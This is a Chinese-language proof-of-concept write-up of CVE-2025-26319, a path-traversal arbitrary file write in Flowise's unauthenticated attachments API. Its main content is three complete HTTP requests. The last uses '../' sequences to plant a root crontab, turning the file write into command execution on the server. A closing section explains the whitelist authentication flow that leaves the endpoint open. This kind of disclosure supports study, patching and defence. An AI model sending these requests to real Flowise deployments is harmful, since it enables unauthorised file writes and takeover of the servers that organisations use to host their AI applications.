FlowiseAI 任意文件写入漏洞 CVE-2025–26319

摘要：Flowise是一款与LangChain兼容的开源低代码工具，使普通用户和开发人员都能通过可视化连线方式创建LLM工作流和AI应用。然而该平台存在严重的文件上传漏洞——尽管Flowise实施了上传校验机制，攻击者仍可通过特殊编码绕过限制，实现任意目录的文件写入

Flowise是一款与LangChain兼容的开源低代码工具，使普通用户和开发人员都能通过可视化连线方式创建LLM工作流和AI应用。然而该平台存在严重的文件上传漏洞——尽管Flowise实施了上传校验机制，攻击者仍可通过特殊编码绕过限制，实现任意目录的文件写入。这一安全缺陷使未经授权的攻击者能够上传恶意文件、脚本或SSH密钥，从而获取对托管服务器的远程控制权，对使用该平台构建AI代理的组织构成重大安全威胁。

安装环境后构造上传的数据包

POST /api/v1/attachments/test/test HTTP/1.1Host: localhost:3000Accept: application/json, text/plain, */*x-request-from: internalUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:3000/apikeyAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWContent-Length: 215------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="files"; filename="test.txt"Content-Type: text/plainThis is the content of the file.------WebKitFormBoundary7MA4YWxkTrZu0gW--

在服务器上查找上传文件的位置

再次构造数据包

POST /api/v1/attachments/../test/test HTTP/1.1Host: localhost:3000Accept: application/json, text/plain, */*x-request-from: internalUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:3000/apikeyAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWContent-Length: 215------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="files"; filename="test.txt"Content-Type: text/plainThis is the content of the file.------WebKitFormBoundary7MA4YWxkTrZu0gW--

在服务器上再次查找文件位置

成功实现跨越目录的上传操作

进一步的进行利用的话可以通过向定时任务中写入文件实现任意命令执行

POST /api/v1/attachments/../../../../../usr/../var/spool/cron/crontabs HTTP/1.1Host: localhost:3000Accept: application/json, text/plain, */*x-request-from: internalUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:3000/apikeyAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWContent-Length: 657------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="files"; filename="root"Content-Type: text/plain# do daily/weekly/monthly maintenance# min hour day month weekday command*/15 * * * * run-parts /etc/periodic/15min0 * * * * run-parts /etc/periodic/hourly0 2 * * * run-parts /etc/periodic/daily0 3 * * 6 run-parts /etc/periodic/weekly0 5 1 * * run-parts /etc/periodic/monthly* * * * * echo "a" >> /tmp/test.txt------WebKitFormBoundary7MA4YWxkTrZu0gW--

在Flowise平台的核心架构中，通过constants.ts文件定义了一系列无需认证即可访问的API端点，这些端点被归类为WHITELIST_URLS。该设计允许特定功能（如API密钥验证、公共聊天流和文件操作等）在未经认证的情况下运行，以提高用户体验和系统灵活性。

Flowise-main/packages/server/src/utils/constants.ts

当服务器接收到新的HTTP请求时，其鉴权流程遵循严格的逻辑顺序：首先检查请求路径是否包含”/api/v1”前缀（不区分大小写）；接着进行大小写敏感的路径验证；随后系统会判断该URL是否存在于预定义的白名单中。若请求路径已被列入白名单，则继续处理；否则，系统会进一步检查请求头中是否包含”internal”标记，或尝试验证API密钥。

Flowise-main/packages/server/src/index.ts